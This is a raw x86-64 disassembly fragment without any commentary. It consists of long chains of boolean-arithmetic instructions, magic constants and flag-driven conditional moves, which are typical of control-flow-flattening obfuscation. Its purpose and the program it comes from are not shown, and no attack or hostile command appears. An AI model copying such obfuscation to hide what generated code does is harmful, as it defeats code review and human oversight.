mov eax, r10d
xor al, 1
and al, r14b
xor r14b, 1
and r14b, r10b
or r14b, al
mov eax, ebx
and al, dil
xor bl, dil
or bl, al
mov eax, ebx
xor al, r14b
xor r14b, 1
xor al, 1
or r14b, bl
xor r14b, 1
or r14b, al
mov eax, r14d
xor al, 1
and al, r14b
xor al, 1
mov ecx, r14d
xor cl, al
or al, r14b
xor al, 1
or al, cl
xor al, 1
xor dl, 1
mov ecx, edx
or cl, al
xor cl, 1
xor dl, al
mov eax, ecx
and al, dl
xor dl, cl
or dl, al
mov eax, edx
xor al, 1
mov ecx, eax
and cl, dl
mov ebx, eax
xor bl, cl
xor cl, 1
or cl, dl
xor cl, 1
or cl, bl
mov ebx, ecx
xor bl, 1
or al, dl
mov edx, eax
xor dl, 1
and dl, bl
or bl, al
xor bl, 1
and al, cl
or al, dl
mov ecx, ebx
and cl, al
xor al, bl
or al, cl
mov ecx, eax
xor cl, 1
mov edx, ecx
and dl, al
xor cl, dl
xor dl, 1
or dl, al
xor dl, 1
or dl, cl
mov eax, edx
xor al, 1
mov ebx, edx
or bl, al
xor dl, bl
xor dl, 1
or bl, al
xor bl, 1
or bl, dl
mov ecx, ebx
xor cl, 1
and cl, bl
xor cl, 1
mov eax, ebx
xor al, cl
or cl, bl
xor cl, 1
or cl, al
mov ebx, ecx
xor bl, 1
mov r9d, r8d
xor r9b, 1
mov edx, ecx
and dl, bl
and bl, r9b
mov eax, r8d
and al, cl
or al, bl
xor al, 1
or al, r9b
mov r10d, eax
xor r10b, 1
mov ebx, edx
and bl, cl
xor dl, cl
or dl, bl
and r9b, dl
xor dl, 1
and dl, r8b
or dl, r9b
mov ecx, edx
xor cl, 1
and al, r10b
mov ebx, eax
and bl, r10b
xor al, r10b
or al, bl
mov ebx, eax
xor bl, 1
and bl, dl
and al, cl
or al, bl
mov ecx, r10d
xor cl, dl
or dl, r10b
xor dl, 1
or dl, cl
xor al, 1
mov ecx, eax
xor cl, dl
or al, dl
xor al, 1
or al, cl
mov ecx, eax
xor cl, 1
mov r9d, ecx
and r9b, al
mov edx, eax
or dl, cl
xor cl, r9b
xor r9b, 1
or r9b, al
xor r9b, 1
or r9b, cl
mov ecx, r9d
xor cl, 1
mov r8d, edx
xor r8b, 1
and r8b, cl
or cl, dl
and dl, r9b
or dl, r8b
xor dl, 1
mov r8d, ecx
xor r8b, dl
or dl, cl
xor dl, 1
or dl, r8b
mov r8d, edx
xor r8b, 1
mov ecx, r8d
and cl, dl
xor r8b, cl
xor cl, 1
or cl, dl
xor cl, 1
or cl, r8b
mov ebx, ecx
xor bl, 1
mov edx, ebx
and dl, cl
xor dl, 1
mov r8d, ecx
xor r8b, dl
or dl, cl
xor dl, 1
or dl, r8b
or bl, cl
mov ecx, edx
xor cl, bl
or bl, dl
xor bl, 1
or bl, cl
mov ecx, ebx
xor cl, 1
and bl, cl
mov edx, ecx
and dl, bl
xor bl, cl
or bl, dl
mov ecx, r9d
xor cl, al
or r9b, al
xor r9b, 1
or r9b, cl
mov eax, r9d
xor al, 1
mov r8d, r9d
mov ecx, ebx
and cl, al
or r9b, bl
xor al, bl
and al, bl
mov edx, ebx
xor dl, 1
and r8b, dl
or cl, r8b
xor dl, cl
and dl, cl
xor al, 1
mov ecx, r9d
xor cl, al
or al, r9b
xor al, 1
or al, cl
mov ecx, edx
xor cl, 1
mov r8d, eax
xor r8b, 1
and cl, dl
mov r10d, eax
and r10b, r8b
mov r9d, ecx
and r9b, dl
xor cl, dl
or cl, r9b
mov ebx, r10d
xor bl, 1
xor r10b, al
or bl, r8b
xor bl, 1
or bl, r10b
mov r8d, ecx
xor r8b, 1
and r8b, bl
xor bl, 1
and bl, cl
or bl, r8b
mov ecx, edx
xor cl, al
or al, dl
xor al, 1
or al, cl
xor al, 1
mov ecx, ebx
and cl, al
xor al, bl
or al, cl
mov ecx, eax
xor cl, 1
or al, cl
mov edx, ecx
xor dl, al
or al, cl
xor al, 1
or al, dl
mov ecx, eax
xor cl, 1
and al, cl
xor al, 1
mov edx, eax
or dl, cl
xor dl, 1
xor al, cl
mov ecx, edx
and cl, al
xor al, dl
or al, cl
mov ecx, eax
xor cl, 1
or al, cl
xor al, 1
xor cl, al
mov ebx, ecx
xor bl, 1
and bl, al
mov eax, ebx
and al, cl
xor bl, cl
or bl, al
mov eax, ebx
xor al, 1
or bl, al
xor bl, 1
mov ecx, eax
xor cl, bl
or bl, al
xor bl, 1
or bl, cl
xor bl, 1
mov eax, ecx
and al, bl
xor bl, cl
or bl, al
mov r10d, ebx
xor r10b, 1
mov cl, byte [rbp - 0x33]
mov eax, ecx
xor al, 1
mov edx, eax
and dl, cl
xor dl, 1
mov r8d, ecx
xor r8b, dl
or dl, cl
mov r11d, ecx
xor dl, 1
or dl, r8b
mov ecx, r10d
and cl, bl
mov r8d, r10d
and r8b, cl
xor cl, r10b
or cl, r8b
xor dl, 1
mov r8d, ecx
xor r8b, 1
and cl, r8b
mov r9d, r8d
and r9b, cl
xor cl, r8b
or cl, r9b
xor cl, dl
mov r9d, edx
and r9b, r8b
xor r8b, dl
or r8b, r9b
xor r8b, 1
mov edx, ecx
and dl, r8b
xor r8b, cl
or r8b, dl
mov r9d, r8d
xor r9b, 1
mov ecx, r10d
and cl, r11b
xor r10b, r11b
or r10b, cl
mov edx, r10d
xor dl, 1
mov ecx, eax
and cl, bl
xor al, bl
or al, cl
mov ecx, eax
xor cl, 1
and dl, r10b
xor dl, 1
mov ebx, edx
xor bl, r10b
or dl, r10b
xor dl, 1
or dl, bl
mov ebx, edx
xor bl, 1
and bl, cl
and dl, al
or dl, bl
mov ecx, r10d
and cl, al
xor al, r10b
or al, cl
xor al, 1
mov ecx, edx
and cl, al
xor al, dl
or al, cl
mov ecx, eax
xor cl, 1
mov esi, ecx
and sil, al
mov edx, ecx
and dl, sil
xor sil, cl
or sil, dl
mov r11d, r9d
mov edi, r9d
and dil, r8b
mov r10d, r9d
and r10b, dil
xor dil, r9b
or r9b, r8b
and r11b, r9b
xor r9b, 1
mov edx, r9d
xor dl, r8b
and dl, r9b
and r9b, r8b
or r9b, r11b
xor dl, 1
xor r9b, 1
mov r11d, edx
xor r11b, r9b
or r9b, dl
xor r9b, 1
or r9b, r11b
mov edx, eax
xor dl, r9b
and al, dl
and dl, r9b
mov r9d, eax
xor r9b, 1
xor al, dl
xor dl, 1
or dl, r9b
xor dl, 1
or dl, al
mov ebx, esi
xor bl, 1
or dil, r10b
mov eax, ebx
and al, sil
xor bl, al
xor al, 1
or al, sil
xor al, 1
or al, bl
mov ecx, edi
xor cl, 1
and cl, al
xor al, 1
and al, dil
or al, cl
mov ecx, r8d
xor cl, sil
or sil, r8b
xor sil, 1
or sil, cl
xor al, 1
mov ecx, eax
xor cl, sil
or al, sil
xor al, 1
or al, cl
xor al, dl
and dl, al
mov ecx, eax
xor cl, dl
test al, 1
mov eax, 0x6aab939a
mov ebx, 0xaee9eb6a
cmovne eax, ebx
test dl, 1
cmove eax, ebx
test cl, 1
mov ecx, dword [rbp - 0x50]
mov dword [rbp - 8], ecx
mov ecx, 0x6aab939a
cmove eax, ecx
cmp eax, 0xf1ebdacb
jg 0x140010e67
jmp 0x140010ee0
mov eax, dword [0x1400968b4]
lea r9d, [rax - 1]
imul r9d, eax
mov esi, r9d
not esi
mov eax, esi
and eax, 0x41dcd9e6
mov edx, r9d
and edx, 0xbe232619
or edx, eax
mov eax, edx
not eax
and eax, 0x43d7cab7
and edx, 0xbc283548
or edx, eax
mov eax, edx
xor eax, 0x21548c84
xor edx, 0x20a1341
and edx, 0xdeaa736b
and eax, 0x21558c94
or eax, edx
mov edx, eax
xor edx, 0x21558c94
xor eax, 0xdeaa736b
mov ebx, edx
and ebx, eax
and edx, 0xce605fb6
and eax, 0x319fa049
or eax, edx
xor eax, 0xce605fb6
mov edx, ebx
and edx, eax
xor eax, ebx
or eax, edx
mov edx, eax
not edx
and edx, 0x8e2880b1
and eax, 0x71d77f4e
or eax, edx
mov edx, eax
not edx
and edx, 0xce49249c
and eax, 0x31b6db63
or eax, edx
mov ebx, eax
xor ebx, 0xbf9e5bd2
xor eax, 0x210000
and eax, 0x89a10900
mov edx, ebx
and edx, 0x6020220
or edx, eax
xor edx, 0x6020220
and ebx, 0x705cf4df
or ebx, edx
mov eax, ebx
and eax, 0xb7feedb3
not ebx
and ebx, 0x4801124c
or ebx, eax
mov eax, ebx
not eax
and eax, 0x3cdcec1f
and ebx, 0xc32313e0
or ebx, eax
mov eax, ebx
xor eax, 0x10280
and eax, 0x385de693
xor ebx, 0xfb7ef573
or ebx, eax
mov eax, ebx
not eax
and eax, 0x776d3225
and ebx, 0x8892cdda
or ebx, eax
mov r8d, ebx
xor r8d, 0x8892cdda
xor ebx, 0x12683225
mov eax, esi
and eax, 0xb3847815
mov edx, r9d
and edx, 0x4c7b87ea
or edx, eax
mov eax, edx
xor eax, 0x40080060
xor edx, 0xa0001001
mov ecx, esi
or ecx, 0xf0ae907b
mov edi, ecx
not edi
or edx, 0xe014880
and edx, 0xae23d88b
and eax, 0x508c0070
or eax, edx
and ecx, 0xae23d88b
and edi, 0x1502704
or edi, ecx
xor edi, eax
mov eax, edi
not eax
and eax, 0x370c8917
and edi, 0xc8f376e8
or edi, eax
mov eax, edi
not eax
mov ecx, edi
and ecx, 0xd002980d
and eax, 0x2ffd67f2
or eax, ecx
or edi, r9d
and r9d, 0xd002980d
and esi, 0x2ffd67f2
or esi, r9d
xor esi, eax
not edi
or edi, esi
mov eax, edi
not eax
and eax, 0x2524e190
and edi, 0xdadb1e6f
or edi, eax
mov edx, edi
xor edx, 0xdadb1e6f
xor edi, 0x2524e190
mov eax, edi
and eax, 0x6fbc7c4d
mov esi, edx
and esi, 0x904383b2
or esi, eax
mov eax, esi
xor eax, 0x10408232
xor esi, 0x6fbc7c4d
mov r9d, r8d
mov ecx, edx
xor ecx, r8d
and ecx, edx
and edi, 0xf0871837
and edx, 0xf78e7c8
or edx, edi
xor edx, r8d
xor edx, 0xf0871837
and edx, r8d
and r8d, 0xe5170188
and ebx, 0x1ae8fe77
or ebx, r8d
or r9d, esi
and esi, 0xe5170188
and eax, 0x1ae8fe77
or eax, esi
xor eax, ebx
not r9d
or r9d, eax
mov ebx, ecx
not ebx
mov eax, edx
not eax
mov edi, ebx
and edi, 0xd60656fd
and ecx, 0x29f9a902
or ecx, edi
or ebx, eax
and eax, 0xd60656fd
and edx, 0x29f9a902
or edx, eax
xor edx, ecx
not ebx
or ebx, edx
mov eax, ebx
mov ecx, ebx
xor ecx, 0x668605e4
and ecx, ebx
not ebx
and ebx, 0xf93e34fc
and eax, 0x6c1cb03
or eax, ebx
xor eax, 0x6c1cb03
mov edx, r9d
mov ebx, eax
mov edi, r9d
and edi, eax
xor eax, r9d
not r9d
and edx, 0x668605e4
and r9d, 0x9979fa1b
or r9d, edx
and ebx, 0x668605e4
mov edx, ebx
and edx, ecx
xor ecx, ebx
or ecx, edx
mov edx, r9d
not edx
and edx, ecx
not ecx
and ecx, r9d
or ecx, edx
or eax, edi
not eax
mov edx, ecx
and edx, eax
xor eax, ecx
or eax, edx
mov ecx, eax
not ecx
mov edx, ecx
and edx, eax
mov ebx, ecx
and ebx, edx
xor edx, ecx
or edx, ebx
mov esi, edx
not esi
and edx, 0x39e5da28
mov edi, esi
and edi, 0xc61a25d7
or edi, edx
xor edi, 0xfe47c344
and esi, 0xc7a2196c
or esi, edi
mov edx, ecx
and edx, 0xc265975f
and eax, 0x3d9a68a0
or eax, edx
xor eax, 0xfa3871cc
xor ecx, eax
and ecx, eax
mov ebx, ecx
and ecx, esi
not esi
not ebx
mov eax, esi
xor eax, ebx
and eax, esi
and ebx, esi
or ebx, ecx
mov ecx, eax
and ecx, ebx
xor ebx, eax
or ebx, ecx
mov r9d, ebx
not r9d
mov eax, r9d
and eax, 0x6000a042
mov ecx, ebx
and ecx, 0x84e112b1
or ecx, eax
mov eax, ecx
xor eax, 0x80601011
xor ecx, 0x7b1eed4e
mov edx, ebx
xor edx, 0xe4e1b2f3
and edx, ebx
mov edi, edx
not edi
mov esi, ecx
and esi, 0x5c870aae
and eax, 0xa060b051
or eax, esi
or ecx, edi
and edi, 0x5c870aae
and edx, 0xa378f551
or edx, edi
xor edx, eax
not ecx
or ecx, edx
mov eax, ecx
not eax
and eax, 0x1b1e4d0c
and ecx, 0xe4e1b2f3
or ecx, eax
mov edx, ecx
xor edx, 0xfffffffe
and edx, ecx
mov eax, ecx
not eax
and eax, 1
and ecx, 0xfffffffe
or ecx, eax
mov r10d, edx
not r10d
mov edi, ecx
not edi
mov eax, r10d
and eax, 0x44cdbcd2
and edx, 0xbb32432d
or edx, eax
or r10d, edi
and edi, 0x44cdbcd2
and ecx, 0xbb32432d
or ecx, edi
xor ecx, edx
not r10d
or r10d, ecx
mov r8d, r10d
not r8d
mov eax, r9d
and eax, 0xaf7256de
mov edx, ebx
xor edx, 0xaf7256de
and edx, ebx
mov ecx, eax
and ecx, edx
xor edx, eax
or edx, ecx
mov eax, edx
not eax
and eax, 0xf5dad1
and edx, 0xff0a252e
or edx, eax
mov eax, edx
xor eax, 0x101823f0
xor edx, 0xaf878c0f
and eax, 0x139c2ffb
mov ecx, edx
and ecx, 0xec63d004
or ecx, eax
xor ecx, 0x1a84ac14
and edx, 0x91883ef
or edx, ecx
and ebx, 0x754f01a9
mov eax, r9d
and eax, 0x8ab0fe56
or eax, ebx
xor eax, 0x83a87db9
and r9d, 0xf6e77c10
or r9d, eax
mov edi, r9d
not edi
mov eax, r9d
and eax, 0xaf54a731
and edi, 0x50ab58ce
or edi, eax
mov ebx, edi
xor ebx, 0x50ab58ce
mov r11d, edx
xor r11d, 0xec7e9135
and r11d, edx
xor edi, 0xbcd5c9fb
and edi, ebx
mov r14d, edx
and r14d, ebx
xor ebx, edx
not edx
and edx, 0xec7e9135
or r9d, 0x13816eca
mov esi, r9d
not esi
mov ecx, r11d
and ecx, edx
xor edx, r11d
or edx, ecx
mov ecx, edi
not ecx
mov eax, ecx
and eax, 0x2f35969f
and edi, 0xd0ca6960
or edi, eax
or ecx, r9d
and r9d, 0x2f35969f
and esi, 0xc04a0120
or esi, r9d
xor esi, edi
not ecx
or ecx, esi
mov eax, edx
not eax
and eax, 0xeea58c6
and edx, 0xf115a739
or edx, eax
mov eax, ecx
not eax
and eax, 0xeea58c6
and ecx, 0xf115a739
or ecx, eax
xor ecx, edx
or ebx, r14d
mov eax, ebx
not eax
mov edx, ecx
not edx
mov edi, edx
and edi, 0x7304c9ab
and ecx, 0x8cfb3654
or ecx, edi
or edx, ebx
and ebx, 0x7304c9ab
and eax, 0x8cfb3654
or eax, ebx
xor eax, ecx
not edx
or edx, eax
mov eax, edx
mov ebx, edx
xor ebx, 0xd5e8913a
and ebx, edx
not edx
and edx, 0x44481018
and eax, 0x91a08122
or eax, edx
xor eax, 0x91a08122
mov ecx, eax
and ecx, ebx
xor ebx, eax
or ebx, ecx
mov eax, ebx
not eax
and eax, 0xdcf012d4
and ebx, 0x230fed2b
or ebx, eax
mov ecx, ebx
mov r9d, ebx
mov edi, ebx
xor edi, 0x863b02d0
and edi, ebx
not ebx
mov eax, r10d
and eax, 0x40172790
mov esi, r8d
and esi, 0xbfe8d86f
or esi, eax
and ecx, 0x40172790
and ebx, 0xbfe8d86f
or ebx, ecx
xor ebx, esi
not ebx
or ebx, r10d
mov r11d, ebx
not r11d
mov ecx, r10d
and ecx, 0x2210210
and r8d, 0x841a00c0
or r8d, ecx
mov ecx, r8d
xor ecx, 0x800200c0
xor r8d, 0x41a44f2f
or r10d, 0x863b02d0
mov esi, r10d
not esi
or r9d, 0x79c4fd2f
mov edx, r9d
not edx
and r8d, 0x45bc4f2f
and ecx, 0x820300d0
or ecx, r8d
and r10d, 0x45bc4f2f
and esi, 0x3840b000
or esi, r10d
xor esi, ecx
mov ecx, edi
not ecx
mov eax, r9d
and eax, 0xecfaf9a7
and edx, 0x2010250
or edx, eax
or r9d, ecx
and ecx, 0xecfaf9a7
and edi, 0x13050658
or edi, ecx
xor edi, edx
not r9d
or r9d, edi
mov eax, esi
not eax
and eax, r9d
not r9d
and r9d, esi
or r9d, eax
mov eax, ebx
and eax, 0x1b0440ad
xor ebx, 0x2a07bb47
and ebx, r11d
mov esi, r11d
and esi, 0xe4fbbf52
or esi, eax
mov r8d, esi
xor r8d, 0xe4fbbf52
mov ecx, r9d
not ecx
mov edx, esi
xor edx, 0xcefc0415
and edx, r8d
mov edi, ecx
and edi, 0xd5f844b8
mov eax, r9d
and eax, 0x2a07bb47
or eax, edi
mov edi, edx
and edi, ebx
xor ebx, edx
or ebx, edi
mov edx, ebx
not edx
and edx, eax
not eax
and eax, ebx
or eax, edx
xor esi, 0x1b0440ad
mov edx, esi
and edx, 0xe9418971
and r8d, 0x16be768e
or r8d, edx
or esi, r9d
and r9d, 0xe9418971
and ecx, 0x16be768e
or ecx, r9d
xor ecx, r8d
not esi
or esi, ecx
mov ecx, esi
not ecx
and ecx, 0x36f1977b
and esi, 0xc90e6884
or esi, ecx
xor esi, 0xc90e6884
mov ecx, eax
and ecx, esi
xor esi, eax
or esi, ecx
mov r10d, esi
not r10d
mov r9d, esi
mov r14d, esi
mov r8d, esi
mov r11d, r10d
mov r15d, r10d
mov edx, esi
xor edx, 0x377af247
and edx, esi
or esi, 0xc8850db8
mov eax, edx
not eax
mov edi, esi
and edi, 0x288448ae
mov ebx, r10d
and ebx, 0x177ab241
or ebx, edi
or esi, eax
and eax, 0x288448ae
and edx, 0xd77bb751
or edx, eax
xor edx, ebx
not esi
or esi, edx
not esi
mov edx, esi
and edx, r10d
xor esi, r10d
and r10d, 0x20051102
and r9d, 0x40620020
or r9d, r10d
xor r9d, 0x40620020
and r14d, 0x9f98eedd
or r14d, r9d
mov eax, r14d
not eax
and eax, 0xc7c80977
and r14d, 0x3837f688
or r14d, eax
mov eax, r14d
xor eax, 0x100004a2
xor r14d, 0x3a50010
and r14d, 0x4bf5e318
and eax, 0xb40a1ce7
or eax, r14d
mov ebx, eax
xor ebx, 0x100800e5
and ebx, 0x513c43f5
xor eax, 0xac1a008
and eax, 0xaec3bc0a
or eax, ebx
mov edi, eax
xor edi, 0x513c43f5
and edi, eax
and r8d, 0x523157da
and r11d, 0xadcea825
or r11d, r8d
xor r11d, 0xfcf2ebd0
and r15d, 0xaec3bc0a
or r15d, r11d
mov eax, r15d
not eax
and eax, 0x1f16b8f9
and r15d, 0xe0e94706
or r15d, eax
mov eax, r15d
xor eax, 0xe0e94706
mov ebx, edi
not ebx
xor r15d, 0x1f16b8f9
and eax, ebx
or ebx, r15d
not ebx
and r15d, edi
or r15d, eax
mov eax, ebx
and eax, r15d
xor r15d, ebx
or r15d, eax
mov eax, r15d
mov ecx, r15d
xor ecx, 0x513c43f5
and ecx, r15d
not r15d
and r15d, 0x41180355
and eax, 0x102440a0
or eax, r15d
xor eax, 0x102440a0
mov ebx, eax
and ebx, ecx
xor ecx, eax
or ecx, ebx
mov eax, ecx
not eax
and ecx, 0x5e4b2b6f
and eax, 0xa1b4d490
or eax, ecx
mov ecx, eax
xor ecx, 0x5e4b2b6f
xor eax, 0x80840490
mov ebx, ecx
and ebx, 0xc8850db8
and ecx, 0x377af247
and eax, 0xc8850db8
or eax, ecx
mov ecx, ebx
and ecx, eax
xor eax, ebx
or eax, ecx
mov ebx, eax
not ebx
or esi, edx
mov ecx, esi
not ecx
and ecx, 0xc731c5aa
and esi, 0x38ce3a55
or esi, ecx
mov edx, esi
xor edx, 0x38ce3a55
mov r9d, esi
xor r9d, 0xc731c5aa
mov r8d, eax
mov r14d, ebx
mov r11d, eax
mov edi, ebx
xor eax, 0x1d075839
and eax, ebx
and ebx, 0xd7a7ff8d
and r8d, 0x28580072
or r8d, ebx
or r14d, edx
mov ebx, edx
xor esi, 0xda369d93
and esi, edx
and edx, 0xd7a7ff8d
mov ecx, r9d
and ecx, 0x28580072
or ecx, edx
xor ecx, r8d
not r14d
or r14d, ecx
mov ecx, r14d
not ecx
and ecx, 0x8895e1e4
and r14d, 0x776a1e1b
or r14d, ecx
mov r8d, r14d
xor r8d, 0x776a1e1b
mov r10d, r14d
xor r10d, 0x8895e1e4
and r11d, 0x609883c6
and edi, 0x82602400
or edi, r11d
mov ecx, edi
xor ecx, 0x82200400
xor edi, 0x7d9fdbff
and r9d, 0xe602303e
and ebx, 0x19fdcfc1
or ebx, r9d
mov edx, ebx
xor edx, 0x19fdcfc1
xor ebx, 0x4fa97f8
and ebx, edx
mov edx, eax
not edx
mov r9d, edi
and r9d, 0x2dd5297f
and ecx, 0xc2288680
or ecx, r9d
or edi, edx
and edx, 0x2dd5297f
and eax, 0xd22ad680
or eax, edx
xor eax, ecx
not edi
or edi, eax
mov eax, ebx
and eax, esi
xor esi, ebx
or esi, eax
mov eax, edi
not eax
and eax, 0x971b0588
and edi, 0x68e4fa77
or edi, eax
mov eax, esi
not eax
and eax, 0x971b0588
and esi, 0x68e4fa77
or esi, eax
xor esi, edi
mov eax, esi
mov edi, esi
xor edi, 0x7ba1b641
and edi, esi
not esi
and esi, 0x5d8c5c2f
and eax, 0xa273a3d0
or eax, esi
xor eax, 0xa273a3d0
mov esi, eax
mov ecx, r10d
and ecx, eax
xor eax, r10d
and r10d, 0x7ba1b641
xor r14d, 0xccba85a
and r14d, r8d
and esi, 0x7ba1b641
mov ebx, r10d
and ebx, r14d
xor r14d, r10d
or r14d, ebx
mov edx, esi
and edx, edi
xor edi, esi
or edi, edx
mov edx, r14d
not edx
and edx, 0x27878044
and r14d, 0xd8787fbb
or r14d, edx
mov edx, edi
not edx
and edx, 0x27878044
and edi, 0xd8787fbb
or edi, edx
xor edi, r14d
or eax, ecx
not eax
mov ecx, edi
and ecx, eax
xor eax, edi
or eax, ecx
mov ecx, eax
not ecx
mov ebx, eax
and ebx, 0x2823a014
mov edx, ecx
and edx, 0x82c0446a
or edx, ebx
xor edx, 0x82c0446a
or edx, 0x551c1b81
and eax, 0xceca87b4
mov ebx, ecx
and ebx, 0x3135784b
or ebx, eax
xor ebx, 0x642963ca
and ecx, 0xaae3e47e
or ecx, ebx
mov eax, ecx
not eax
and eax, 0xcb065e83
and ecx, 0x34f9a17c
or ecx, eax
mov eax, ecx
xor eax, 0x34f9a17c
and eax, edx
not edx
xor ecx, 0xcb065e83
mov ebx, edx
xor ebx, ecx
and ebx, edx
and ecx, edx
or ecx, eax
mov eax, ebx
and eax, ecx
xor ecx, ebx
or ecx, eax
mov r14d, ecx
xor r14d, 0xe86744e2
and r14d, ecx
not ecx
and ecx, 0xe86744e2
mov eax, ecx
and eax, r14d
xor r14d, ecx
or r14d, eax
mov eax, r14d
not eax
and eax, 0x84075fd9
and r14d, 0x7bf8a026
or r14d, eax
mov r15d, r14d
xor r15d, 0xe06f2fd
mov r8d, r14d
xor r8d, 0xf1f90d02
mov ecx, r8d
and ecx, 0x72f6ad13
mov esi, r15d
and esi, 0x8d0952ec
or esi, ecx
mov ecx, esi
not ecx
and ecx, 0x8d0952ec
and esi, 0x72f6ad13
or esi, ecx
mov edx, esi
not edx
and esi, 0x823d7362
mov ecx, edx
and ecx, 0x7dc28c9d
or ecx, esi
xor ecx, 0x860e56d3
and edx, 0x43325b1
or edx, ecx
mov edi, edx
not edi
mov ebx, r8d
and ebx, 0xfbccda4e
mov ecx, r14d
xor ecx, 0xa35d74c
or ecx, ebx
mov ebx, ecx
not ebx
and ebx, 0xddcc6677
and ecx, 0x22339988
or ecx, ebx
mov r9d, ecx
xor r9d, 0x22339988
mov r11d, ecx
xor r11d, 0xddcc6677
mov ebx, edx
and ebx, 0x60f0bd35
xor edx, 0xe4faa2ea
and edx, edi
and edi, 0x9f0f42ca
or edi, ebx
mov r10d, edi
xor edi, 0x60f0bd35
mov ebx, edi
or ebx, 0xe4faa2ea
mov esi, ebx
not esi
xor ecx, 0x3936c49d
mov eax, ebx
and eax, 0xe98232bd
and esi, 0x12054d00
or esi, eax
mov eax, edx
not eax
or ebx, eax
and eax, 0xe98232bd
and edx, 0x167dcd42
or edx, eax
mov eax, ecx
and eax, r11d
and ecx, r9d
xor edx, esi
not ebx
or ebx, edx
mov esi, eax
not esi
mov edx, esi
and edx, 0x6157d86
and eax, 0xf9ea8279
or eax, edx
mov edx, ecx
not edx
or esi, edx
and edx, 0x6157d86
and ecx, 0xf9ea8279
or ecx, edx
xor ecx, eax
not esi
or esi, ecx
mov eax, ebx
not eax
and eax, 0x28c42235
and ebx, 0xd73bddca
or ebx, eax
mov eax, esi
not eax
and eax, 0x28c42235
and esi, 0xd73bddca
or esi, eax
xor r10d, 0x40700c2
xor esi, ebx
mov eax, edi
and eax, 0xdb084608
and r10d, 0x24f7b9f7
or r10d, eax
or edi, r9d
and r9d, 0xdb084608
and r11d, 0x24f7b9f7
or r11d, r9d
xor r11d, r10d
not edi
or edi, r11d
not edi
mov eax, esi
and eax, edi
xor edi, esi
or edi, eax
mov eax, edi
xor eax, 0x6660bae3
and eax, edi
mov ecx, edi
or ecx, 0x999f451c
mov edx, ecx
not edx
mov ebx, ecx
and ebx, 0x537fd854
and edx, 0x240022a3
or edx, ebx
mov ebx, eax
not ebx
or ecx, ebx
and ebx, 0x537fd854
and eax, 0xac8027ab
or eax, ebx
xor eax, edx
not ecx
or ecx, eax
mov eax, ecx
not eax
and eax, 0x9dac60ad
and ecx, 0x62539f52
or ecx, eax
mov edi, ecx
xor edi, 0x607ae39a
and edi, ecx
not ecx
and ecx, 0x607ae39a
mov eax, ecx
and eax, edi
xor edi, ecx
mov ebx, dword [0x1400968b0]
or edi, eax
mov eax, edi
not eax
and eax, 0x9f851c65
and edi, 0x607ae39a
or edi, eax
xor r14d, 0xf7bec966
and r14d, r15d
or r15d, 0x647c464
mov eax, r15d
and eax, 0x16bc0674
and r8d, 0xe900398b
or r8d, eax
mov eax, r14d
not eax
or r15d, eax
and eax, 0x16bc0674
and r14d, 0xe943f98b
or r14d, eax
xor r14d, r8d
not r15d
or r15d, r14d
mov eax, r15d
not eax
and eax, 0x647c464
and r15d, 0xf9b83b9b
or r15d, eax
mov eax, edi
not eax
mov edx, r15d
not edx
mov ecx, eax
or ecx, edx
and eax, 0xf1c9e875
and edi, 0xe36178a
or edi, eax
mov eax, ecx
not eax
and edx, 0xf1c9e875
and r15d, 0xe36178a
or r15d, edx
xor r15d, edi
mov edx, r15d
not edx
mov edi, ecx
and edi, 0x13e8f59f
and eax, 0xec170a60
or eax, edi
or ecx, edx
and edx, 0x13e8f59f
and r15d, 0xec170a60
or r15d, edx
xor r15d, eax
not ecx
or ecx, r15d
mov eax, ecx
not eax
mov edx, ecx
xor edx, 0x938f3622
and edx, ecx
or ecx, 0x6c70c9dd
mov edi, edx
not edi
mov esi, ecx
and esi, 0x760d4a01
and eax, 0x81823422
or eax, esi
or ecx, edi
and edi, 0x760d4a01
and edx, 0x89f2b5fe
or edx, edi
xor edx, eax
not ecx
or ecx, edx
mov eax, ecx
not eax
and eax, 0x9ba7084d
and ecx, 0x6458f7b2
or ecx, eax
mov eax, ecx
xor eax, 0x36178190
xor ecx, 0x202448
and eax, 0x3e1f9bb7
and ecx, 0xc1e06448
or ecx, eax
xor ecx, 0xc1e06448
setne r10b
sete r11b
cmp ebx, 0xa
setl r8b
cmp ebx, 9
setg cl
mov r9d, ecx
mov eax, ecx
mov esi, r8d
xor sil, cl
mov r14d, esi
xor r14b, 1
mov edi, r8d
xor dil, r14b
or sil, cl
xor r14b, cl
and r14b, cl
xor cl, r11b
not cl
and cl, r11b
or r9b, r11b
mov edx, r9d
xor dl, cl
xor cl, 1
xor dl, 1
or cl, r9b
xor cl, 1
or cl, dl
or al, r10b
xor al, 1
xor dil, 1
or dil, r8b
xor r8b, r11b
mov edx, eax
and dl, r8b
xor r8b, al
or r8b, dl
mov ebx, r8d
xor bl, 1
mov edx, ecx
xor dl, 1
and cl, dl
mov eax, ebx
and al, r8b
xor cl, 1
mov r9d, ecx
xor r9b, dl
or cl, dl
xor cl, 1
or cl, r9b
mov r9d, eax
and r9b, bl
xor al, bl
or al, r9b
mov ebx, ecx
xor bl, 1
and bl, al
xor al, 1
and al, cl
or al, bl
mov ecx, edx
and cl, r8b
xor dl, r8b
or dl, cl
xor dl, 1
mov ecx, eax
and cl, dl
xor dl, al
or dl, cl
mov ecx, edx
xor cl, 1
mov ebx, ecx
and bl, dl
mov eax, ecx
and al, bl
xor bl, cl
or bl, al
mov eax, ebx
xor al, 1
or cl, dl
mov r15d, ecx
xor r15b, 1
and r15b, cl
mov r8d, ecx
and r8b, r15b
xor r15b, cl
mov r9d, eax
and r9b, cl
xor cl, al
and al, bl
xor al, 1
mov edx, ebx
xor dl, al
or al, bl
xor al, 1
or al, dl
or r15b, r8b
xor r15b, al
or cl, r9b
mov eax, ecx
xor al, r15b
xor r15b, 1
xor al, 1
or r15b, cl
xor r15b, 1
or r15b, al
mov eax, r15d
xor al, 1
and r15b, al
mov ecx, r15d
and cl, al
xor r15b, al
or r15b, cl
mov r9d, r10d
xor r9b, r11b
mov ecx, r9d
xor cl, 1
xor sil, 1
mov edx, esi
and dl, r14b
xor r14b, sil
mov ebx, edi
xor bl, 1
or r14b, dl
mov edx, r14d
xor dl, 1
and r14b, dil
and bl, dl
or bl, r14b
mov eax, edi
and al, dl
xor dl, dil
or dl, al
xor dl, 1
mov eax, ebx
and al, dl
xor dl, bl
or dl, al
mov eax, r9d
xor al, cl
and al, r9b
mov ebx, eax
not bl
and bl, al
mov r8d, ebx
and r8b, al
xor bl, al
or bl, r8b
mov eax, r10d
or al, bl
xor bl, 1
or bl, r11b
mov esi, eax
xor sil, bl
or bl, al
mov r8d, r15d
xor r8b, 1
xor bl, 1
or bl, sil
